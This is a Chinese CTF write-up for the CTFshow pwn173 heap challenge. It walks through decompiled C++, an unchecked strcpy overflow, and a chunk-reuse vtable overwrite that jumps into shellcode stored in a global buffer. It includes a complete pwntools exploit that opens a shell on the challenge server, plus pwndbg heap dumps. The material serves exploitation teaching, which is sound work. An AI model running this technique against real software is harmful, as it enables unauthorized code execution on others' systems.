CTFshow-pwn173
[!NOTE]
HeapOverflow?似乎这次的不太一样
- 远程环境:Ubuntu 18.04
libc 版本为 Ubuntu GLIBC 2.27-3ubuntu1
检查保护,这是一道 CPP 写的题,有可读可写可执行的段 (bushi)
checksec 没用,看段也没用,这道题本地段的读写执行权限和远程不一样,题目有点问题,下面的脚本远程可以打通
现在来 ida 中阅读程序流程,大致如下
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // rdi
int v4; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
sub_401277(a1, a2, a3);
sub_4012BA();
std::operator<<<std::char_traits<char>>(&std::cout, "Welcome to CTFshow\n");
std::operator<<<std::char_traits<char>>(&std::cout, "Build your own zoo\n");
std::operator<<<std::char_traits<char>>(&std::cout, "Name of Your zoo :");
read(0, &unk_605380, 0x64u);
while ( 1 )
{
sub_40135D();
std::operator<<<std::char_traits<char>>(&std::cout, "Your choice :");
std::istream::operator>>(&std::cin, &v4);
std::ostream::operator<<(&std::cout, &std::endl<char,std::char_traits<char>>);
switch ( v4 )
{
case 1:
add_dog();
break;
case 2:
add_cat();
break;
case 3:
listen();
break;
case 4:
show();
break;
case 5:
remove();
break;
case 6:
_exit(0);
default:
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Invaild choice");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
break;
}
}
}
unsigned __int64 add_dog()
{
__int64 v0; // rbx
unsigned int v2; // [rsp+Ch] [rbp-74h] BYREF
__int64 v3; // [rsp+10h] [rbp-70h] BYREF
__int64 v4; // [rsp+18h] [rbp-68h]
_BYTE v5[32]; // [rsp+20h] [rbp-60h] BYREF
_BYTE v6[40]; // [rsp+40h] [rbp-40h] BYREF
unsigned __int64 v7; // [rsp+68h] [rbp-18h]
v7 = __readfsqword(0x28u);
std::string::basic_string(v5);
std::operator<<<std::char_traits<char>>(&std::cout, "Name : ");
std::operator>><char>(&std::cin, v5);
std::operator<<<std::char_traits<char>>(&std::cout, "Weight : ");
std::istream::operator>>(&std::cin, &v2);
std::string::basic_string(v6, v5);
v0 = operator new(0x28u);
init_dog(v0, v6, v2);
v4 = v0;
std::string::~string(v6);
v3 = v4;
push_ptr(&unk_6053F0, &v3);
std::string::~string(v5);
return __readfsqword(0x28u) ^ v7;
}
__int64 __fastcall init_dog(__int64 a1, __int64 a2, int a3)
{
const char *v3; // rax
__int64 result; // rax
sub_401C1E(a1);
*(_QWORD *)a1 = off_604D80;
v3 = (const char *)std::string::c_str(a2);
strcpy((char *)(a1 + 8), v3); // 无长度检查,溢出 name[0x18]
result = a1;
*(_DWORD *)(a1 + 32) = a3;
return result;
}
unsigned __int64 add_cat()
{
__int64 v0; // rbx
unsigned int v2; // [rsp+Ch] [rbp-74h] BYREF
__int64 v3; // [rsp+10h] [rbp-70h] BYREF
__int64 v4; // [rsp+18h] [rbp-68h]
_BYTE v5[32]; // [rsp+20h] [rbp-60h] BYREF
_BYTE v6[40]; // [rsp+40h] [rbp-40h] BYREF
unsigned __int64 v7; // [rsp+68h] [rbp-18h]
v7 = __readfsqword(0x28u);
std::string::basic_string(v5);
std::operator<<<std::char_traits<char>>(&std::cout, "Name : ");
std::operator>><char>(&std::cin, v5);
std::operator<<<std::char_traits<char>>(&std::cout, "Weight : ");
std::istream::operator>>(&std::cin, &v2);
std::string::basic_string(v6, v5);
v0 = operator new(0x28u);
init_cat(v0, v6, v2);
v4 = v0;
std::string::~string(v6);
v3 = v4;
push_ptr((__int64)&unk_6053F0, (__int64)&v3);
std::string::~string(v5);
return __readfsqword(0x28u) ^ v7;
}
__int64 __fastcall init_cat(__int64 a1, __int64 a2, int a3)
{
const char *v3; // rax
__int64 result; // rax
sub_401C1E(a1);
*(_QWORD *)a1 = off_604D60;
v3 = (const char *)std::string::c_str(a2);
strcpy((char *)(a1 + 8), v3);
result = a1;
*(_DWORD *)(a1 + 32) = a3;
return result;
}
unsigned __int64 listen()
{
__int64 v0; // rax
unsigned __int64 v1; // rbx
__int64 v2; // rax
_QWORD *v3; // rax
unsigned int v5; // [rsp+4h] [rbp-1Ch] BYREF
unsigned __int64 v6; // [rsp+8h] [rbp-18h]
v6 = __readfsqword(0x28u);
if ( sub_402050(&unk_6053F0) )
{
std::operator<<<std::char_traits<char>>(&std::cout, "index of animal : ");
std::istream::operator>>(&std::cin, &v5);
v1 = v5;
if ( v1 < sub_402050(&unk_6053F0) )
{
v3 = (_QWORD *)sub_402076(&unk_6053F0, v5);// vtable[0](animal)
(**(void (__fastcall ***)(_QWORD))*v3)(*v3);
}
else
{
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "out of bound !");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
}
else
{
v0 = std::operator<<<std::char_traits<char>>(&std::cout, "no any animal!");
std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
}
return __readfsqword(0x28u) ^ v6;
}
unsigned __int64 show()
{
__int64 v0; // rax
unsigned __int64 v1; // rbx
__int64 v2; // rax
_QWORD *v3; // rax
unsigned int v5; // [rsp+4h] [rbp-1Ch] BYREF
unsigned __int64 v6; // [rsp+8h] [rbp-18h]
v6 = __readfsqword(0x28u);
if ( sub_402050(&unk_6053F0) )
{
std::operator<<<std::char_traits<char>>(&std::cout, "index of animal : ");
std::istream::operator>>(&std::cin, &v5);
v1 = v5;
if ( v1 < sub_402050(&unk_6053F0) )
{
v3 = (_QWORD *)sub_402076(&unk_6053F0, v5);
(*(void (__fastcall **)(_QWORD))(*(_QWORD *)*v3 + 8LL))(*v3);// vtable[1](animal)
}
else
{
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "out of bound !");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
}
else
{
v0 = std::operator<<<std::char_traits<char>>(&std::cout, "no any animal!");
std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
}
return __readfsqword(0x28u) ^ v6;
}
unsigned __int64 remove()
{
__int64 v0; // rax
unsigned __int64 v1; // rbx
__int64 v2; // rax
void **v3; // rax
__int64 v4; // rbx
unsigned int v6; // [rsp+Ch] [rbp-34h] BYREF
__int64 v7; // [rsp+10h] [rbp-30h] BYREF
__int64 v8; // [rsp+18h] [rbp-28h] BYREF
__int64 v9; // [rsp+20h] [rbp-20h] BYREF
unsigned __int64 v10; // [rsp+28h] [rbp-18h]
v10 = __readfsqword(0x28u);
if ( sub_402050(&unk_6053F0) )
{
std::operator<<<std::char_traits<char>>(&std::cout, "index of animal : ");
std::istream::operator>>(&std::cin, &v6);
v1 = v6;
if ( v1 < sub_402050(&unk_6053F0) )
{
v3 = (void **)sub_402076(&unk_6053F0, v6);
operator delete(*v3, 0x28u);
v4 = v6;
v7 = sub_402096(&unk_6053F0);
v8 = sub_4020DE(&v7, v4);
sub_402140(&v9, &v8);
sub_40216A(&unk_6053F0, v9);
}
else
{
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "out of bound !");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
}
else
{
v0 = std::operator<<<std::char_traits<char>>(&std::cout, "no any animal!");
std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
}
return __readfsqword(0x28u) ^ v10;
}
很遗憾的是,这个反编译出的代码太乱太杂了,我没能细致的分析理解透,大致需要掌握的有下面几点
执行 Add() 函数,堆上大概会出现两块东西:
[Dog / Cat 对象 chunk]
user data:
+0x00 vptr = Dog_vtable / Cat_vtable
+0x08 name = 你的输入
+0x20 weight = 你的输入
[vector底层数组chunk]
zoo.begin[0] = Dog / Cat 对象地址
Listen() 函数,程序会执行:
Animal *p = zoo.begin[idx];
p->vptr[0](p);
Show() 函数,程序会执行:
Animal *p = zoo.begin[idx];
p->vptr[1](p);
执行 Remove() 函数,先 delete 这个动物对象,再把它从 zoo 指针数组里删掉,后面的元素往前挪
由于 name 处可读可写可执行,所以利用链如下
- 先
read(0, zoo_name, 0x64),拿到一块固定全局可控内存 - 把 shellcode 放进
zoo_name - 申请两个
Animal - 删除前一个,让新的对象复用它的 chunk
- 用
strcpy溢出覆盖后一个对象的vptr - 再走
obj->vptr->f0(obj),程序就跳到你伪造的地址
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
# io = process('./pwn173')
io = remote("pwn.challenge.ctf.show",28123)
# io = gdb.debug('./pwn173', gdbscript='b *0x4015C3\nb *0x401840\nc')
def add_dog(name, weight):
io.sendlineafter(b"Your choice :", b"1")
io.sendlineafter(b"Name : ", name)
io.sendlineafter(b"Weight : ", str(weight).encode())
def add_cat(name, weight):
io.sendlineafter(b"Your choice :", b"2")
io.sendlineafter(b"Name : ", name)
io.sendlineafter(b"Weight : ", str(weight).encode())
def listen(i):
io.sendlineafter(b"Your choice :", b"3")
io.sendlineafter(b"index of animal : ", str(i).encode())
def show(i):
io.sendlineafter(b"Your choice :", b"4")
io.sendlineafter(b"index of animal : ", str(i).encode())
def remove(i):
io.sendlineafter(b"Your choice :", b"5")
io.sendlineafter(b"index of animal : ", str(i).encode())
ZOO_NAME = 0x605380
shellcode = asm(shellcraft.sh())
fake_vtable = ZOO_NAME + len(shellcode)
io.recvuntil(b"Name of Your zoo :")
io.sendline(shellcode + p64(ZOO_NAME))
add_dog(b"aaaa", 0)
add_dog(b"bbbb", 1)
remove(0)
add_dog(b"a" * 0x48 + p64(fake_vtable), 2)
listen(0)
io.interactive()
debug 一下看看细节
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x1dd48000
Size: 0x250 (with flag bits: 0x251)
Allocated chunk | PREV_INUSE
Addr: 0x1dd48250
Size: 0x11c10 (with flag bits: 0x11c11)
Allocated chunk | PREV_INUSE
Addr: 0x1dd59e60
Size: 0x30 (with flag bits: 0x31)
Allocated chunk | PREV_INUSE
Addr: 0x1dd59e90
Size: 0x20 (with flag bits: 0x21)
Top chunk | PREV_INUSE
Addr: 0x1dd59eb0
Size: 0xf150 (with flag bits: 0xf151)
pwndbg> x/40gx 0x1dd59e60
0x1dd59e60: 0x0000000000000000 0x0000000000000031
0x1dd59e70: 0x0000000000604d80 0x0000000061616161
0x1dd59e80: 0x0000000000000000 0x0000000000000000
0x1dd59e90: 0x0000000000000000 0x0000000000000021
0x1dd59ea0: 0x000000001dd59e70 0x0000000000000000
0x1dd59eb0: 0x0000000000000000 0x000000000000f151
0x1dd59ec0: 0x0000000000000000 0x0000000000000000
0x1dd59ed0: 0x0000000000000000 0x0000000000000000
0x1dd59ee0: 0x0000000000000000 0x0000000000000000
0x1dd59ef0: 0x0000000000000000 0x0000000000000000
0x1dd59f00: 0x0000000000000000 0x0000000000000000
0x1dd59f10: 0x0000000000000000 0x0000000000000000
0x1dd59f20: 0x0000000000000000 0x0000000000000000
0x1dd59f30: 0x0000000000000000 0x0000000000000000
0x1dd59f40: 0x0000000000000000 0x0000000000000000
0x1dd59f50: 0x0000000000000000 0x0000000000000000
0x1dd59f60: 0x0000000000000000 0x0000000000000000
0x1dd59f70: 0x0000000000000000 0x0000000000000000
0x1dd59f80: 0x0000000000000000 0x0000000000000000
0x1dd59f90: 0x0000000000000000 0x0000000000000000
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x1dd48000
Size: 0x250 (with flag bits: 0x251)
Allocated chunk | PREV_INUSE
Addr: 0x1dd48250
Size: 0x11c10 (with flag bits: 0x11c11)
Allocated chunk | PREV_INUSE
Addr: 0x1dd59e60
Size: 0x30 (with flag bits: 0x31)
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x1dd59e90
Size: 0x20 (with flag bits: 0x21)
fd: 0x00
Allocated chunk | PREV_INUSE
Addr: 0x1dd59eb0
Size: 0x30 (with flag bits: 0x31)
Allocated chunk | PREV_INUSE
Addr: 0x1dd59ee0
Size: 0x20 (with flag bits: 0x21)
Top chunk | PREV_INUSE
Addr: 0x1dd59f00
Size: 0xf100 (with flag bits: 0xf101)
pwndbg> x/40gx 0x1dd59e60
0x1dd59e60: 0x0000000000000000 0x0000000000000031
0x1dd59e70: 0x0000000000604d80 0x0000000061616161
0x1dd59e80: 0x0000000000000000 0x0000000000000000
0x1dd59e90: 0x0000000000000000 0x0000000000000021
0x1dd59ea0: 0x0000000000000000 0x000000001dd48010
0x1dd59eb0: 0x0000000000000000 0x0000000000000031
0x1dd59ec0: 0x0000000000604d80 0x0000000062626262
0x1dd59ed0: 0x0000000000000000 0x0000000000000000
0x1dd59ee0: 0x0000000000000001 0x0000000000000021
0x1dd59ef0: 0x000000001dd59e70 0x000000001dd59ec0
0x1dd59f00: 0x0000000000000000 0x000000000000f101
0x1dd59f10: 0x0000000000000000 0x0000000000000000
0x1dd59f20: 0x0000000000000000 0x0000000000000000
0x1dd59f30: 0x0000000000000000 0x0000000000000000
0x1dd59f40: 0x0000000000000000 0x0000000000000000
0x1dd59f50: 0x0000000000000000 0x0000000000000000
0x1dd59f60: 0x0000000000000000 0x0000000000000000
0x1dd59f70: 0x0000000000000000 0x0000000000000000
0x1dd59f80: 0x0000000000000000 0x0000000000000000
0x1dd59f90: 0x0000000000000000 0x0000000000000000
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x1dd48000
Size: 0x250 (with flag bits: 0x251)
Allocated chunk | PREV_INUSE
Addr: 0x1dd48250
Size: 0x11c10 (with flag bits: 0x11c11)
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x1dd59e60
Size: 0x30 (with flag bits: 0x31)
fd: 0x00
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x1dd59e90
Size: 0x20 (with flag bits: 0x21)
fd: 0x00
Allocated chunk | PREV_INUSE
Addr: 0x1dd59eb0
Size: 0x30 (with flag bits: 0x31)
Allocated chunk | PREV_INUSE
Addr: 0x1dd59ee0
Size: 0x20 (with flag bits: 0x21)
Top chunk | PREV_INUSE
Addr: 0x1dd59f00
Size: 0xf100 (with flag bits: 0xf101)
pwndbg> x/40gx 0x1dd59e60
0x1dd59e60: 0x0000000000000000 0x0000000000000031
0x1dd59e70: 0x0000000000000000 0x000000001dd48010
0x1dd59e80: 0x0000000000000000 0x0000000000000000
0x1dd59e90: 0x0000000000000000 0x0000000000000021
0x1dd59ea0: 0x0000000000000000 0x000000001dd48010
0x1dd59eb0: 0x0000000000000000 0x0000000000000031
0x1dd59ec0: 0x0000000000604d80 0x0000000062626262
0x1dd59ed0: 0x0000000000000000 0x0000000000000000
0x1dd59ee0: 0x0000000000000001 0x0000000000000021
0x1dd59ef0: 0x000000001dd59ec0 0x000000001dd59ec0
0x1dd59f00: 0x0000000000000000 0x000000000000f101
0x1dd59f10: 0x0000000000000000 0x0000000000000000
0x1dd59f20: 0x0000000000000000 0x0000000000000000
0x1dd59f30: 0x0000000000000000 0x0000000000000000
0x1dd59f40: 0x0000000000000000 0x0000000000000000
0x1dd59f50: 0x0000000000000000 0x0000000000000000
0x1dd59f60: 0x0000000000000000 0x0000000000000000
0x1dd59f70: 0x0000000000000000 0x0000000000000000
0x1dd59f80: 0x0000000000000000 0x0000000000000000
0x1dd59f90: 0x0000000000000000 0x0000000000000000
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x1dd48000
Size: 0x250 (with flag bits: 0x251)
Allocated chunk | PREV_INUSE
Addr: 0x1dd48250
Size: 0x11c10 (with flag bits: 0x11c11)
Allocated chunk | PREV_INUSE
Addr: 0x1dd59e60
Size: 0x30 (with flag bits: 0x31)
Allocated chunk | PREV_INUSE
Addr: 0x1dd59e90
Size: 0x6161616161616160 (with flag bits: 0x6161616161616161)
pwndbg> x/40gx 0x1dd59e60
0x1dd59e60: 0x0000000000000000 0x0000000000000031
0x1dd59e70: 0x0000000000604d80 0x6161616161616161
0x1dd59e80: 0x6161616161616161 0x6161616161616161
0x1dd59e90: 0x6161616100000002 0x6161616161616161
0x1dd59ea0: 0x6161616161616161 0x6161616161616161
0x1dd59eb0: 0x6161616161616161 0x6161616161616161
0x1dd59ec0: 0x00000000006053b0 0x0000000062626262
0x1dd59ed0: 0x0000000000000000 0x0000000000000000
0x1dd59ee0: 0x0000000000000001 0x0000000000000021
0x1dd59ef0: 0x000000001dd59ec0 0x000000001dd59e70
0x1dd59f00: 0x0000000000000000 0x0000000000000051
0x1dd59f10: 0x0000000000000000 0x000000001dd48010
0x1dd59f20: 0x6161616161616161 0x6161616161616161
0x1dd59f30: 0x6161616161616161 0x6161616161616161
0x1dd59f40: 0x6161616161616161 0x0000000061616161
0x1dd59f50: 0x0000000000000000 0x0000000000000091
0x1dd59f60: 0x0000000000000000 0x000000001dd48010
0x1dd59f70: 0x6161616161616161 0x6161616161616161
0x1dd59f80: 0x6161616161616161 0x6161616161616161
0x1dd59f90: 0x6161616161616161 0x6161616161616161

浙公网安备 33010602011771号